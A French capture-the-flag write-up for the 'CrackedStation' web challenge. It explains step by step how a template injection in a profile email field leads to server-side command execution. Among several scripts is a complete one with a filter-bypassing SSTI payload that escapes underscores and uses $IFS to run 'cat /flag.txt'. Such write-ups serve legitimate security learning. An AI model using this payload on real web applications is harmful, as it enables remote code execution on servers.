# đŸ§© Writeup CrackedStation (Web) ## đŸ•”ïžâ€â™‚ïž Introduction Un petit challenge web nommĂ© **CrackedStation**, oĂč le but est simple sur le papier: **lire le contenu du fichier `/flag.txt`**. Mais Ă©videmment, rien n’est jamais aussi simple
 et on va vite se rendre compte que le serveur a quelques failles bien croustillantes. --- ## 🔍 Étape 1 - Lecture du code source On commence par jeter un Ɠil au code source fourni. AprĂšs quelques minutes de fouille, on tombe sur **une SSTI (Server-Side Template Injection)** dans la page de **profile**. C’est une de ces injections qui permet d'exĂ©cuter du code sur le serveur. Donc c’est plutĂŽt bon pour nous ! --- ## 📧 Étape 2 - Trouver le point d’injection La SSTI se trouve dans le **champ email** du profil. Mais voilĂ  le twist: * Il **doit ĂȘtre une adresse e-mail valide**, * Et certains caractĂšres sont **interdits**: `<`, `>`, `_`, ainsi que l’espace. Donc impossible d’envoyer un payload classique du style `{{7*7}}`. Il faut ĂȘtre un peu plus crĂ©atif. ```py command = "ls" payload = ( "{{''['\\x5f\\x5fclass\\x5f\\x5f']" ".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()" "[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}" ) email = payload + "@mail.com" ``` ![aa5vuq](https://hackmd.io/_uploads/B1ny4jqCel.jpg) --- ## đŸ’» Étape 3 - Contourner le navigateur Autre souci: le navigateur n’aime pas trop les caractĂšres bizarres dans un champ `type="email"`. RĂ©sultat, impossible d’envoyer notre payload depuis l’interface web. La solution ? GrĂące Ă  **Python** et la librairie **requests** on peut le faire Ă  la main. ```py import requests import time username = "test-" + str(int(time.time())) password = "test" requests.post("http://HOST:PORT/register", data={ "username": username, "email": "test@mail.com", "password": password }) print(f"Username: {username}") print(f"Password: {password}") ``` Ici, rien de fou — juste une requĂȘte d’inscription automatique. ![aa5w2i](https://hackmd.io/_uploads/BJSgVicCgl.jpg) --- ## 📂 Étape 4 - DĂ©clencher la SSTI D’aprĂšs le comportement de l’application, la SSTI ne s’exĂ©cute qu’aprĂšs **avoir uploadĂ© un fichier**, puis **visitĂ© la page de profil**. L’ordre est donc: 1. CrĂ©er le compte via le script, 2. Se connecter avec ces identifiants, 3. Uploader un fichier (n’importe quoi), 4. Visiter la page **Profile**. Et lĂ , notre payload Python est exĂ©cutĂ© cĂŽtĂ© serveur ! ![aa5wds](https://hackmd.io/_uploads/ByiGVjqRgl.jpg) --- ## 🐚 Étape 5 - Lecture du flag (sans espaces) Maintenant qu’on sait que la SSTI fonctionne, on tente la lecture du flag. Classiquement, on ferait: ```bash cat /flag.txt ``` Mais
 **les espaces sont interdits**. Heureusement, `$IFS` (Internal Field Separator) est lĂ : ```bash cat$IFS/flag.txt ``` Et voilĂ , le serveur nous renvoie le flag !!! ``` NBCTF{Tr1p1€_C0mm4nd_($$T)Inj€ct10n_F0r_Th3_W1N!} ``` ![Sans titre](https://hackmd.io/_uploads/BklN4s9Reg.jpg) --- ## 🧠 Conclusion Voici le script complet: ```py import requests import time # --- Commande Ă  exĂ©cuter sur le serveur --- command = "cat$IFS/flag.txt" # --- Payload SSTI encodĂ© pour contourner les filtres --- payload = ( "{{''['\\x5f\\x5fclass\\x5f\\x5f']" ".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()" "[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}" ) # --- Email valide contenant le payload --- email = payload + "@mail.com" # --- Identifiants temporaires --- username = "test-" + str(int(time.time())) password = "test" # --- Envoi de la requĂȘte d'inscription --- resp = requests.post("http://HOST:PORT/register", data={ "username": username, "email": email, "password": password }) print("Status code:", resp.status_code) print(f"Username: {username}") print(f"Password: {password}") ``` Un challenge que j'ai beaucoup apprĂ©ciĂ©, mĂ©langeant: * Une **SSTI** discrĂšte, * Des **filtres tordus**, * Et **une bonne dose de recherche** pour trouver l'existance de `$IFS`. Bref, un trĂšs bon exercice pour s'amĂ©liorer en web !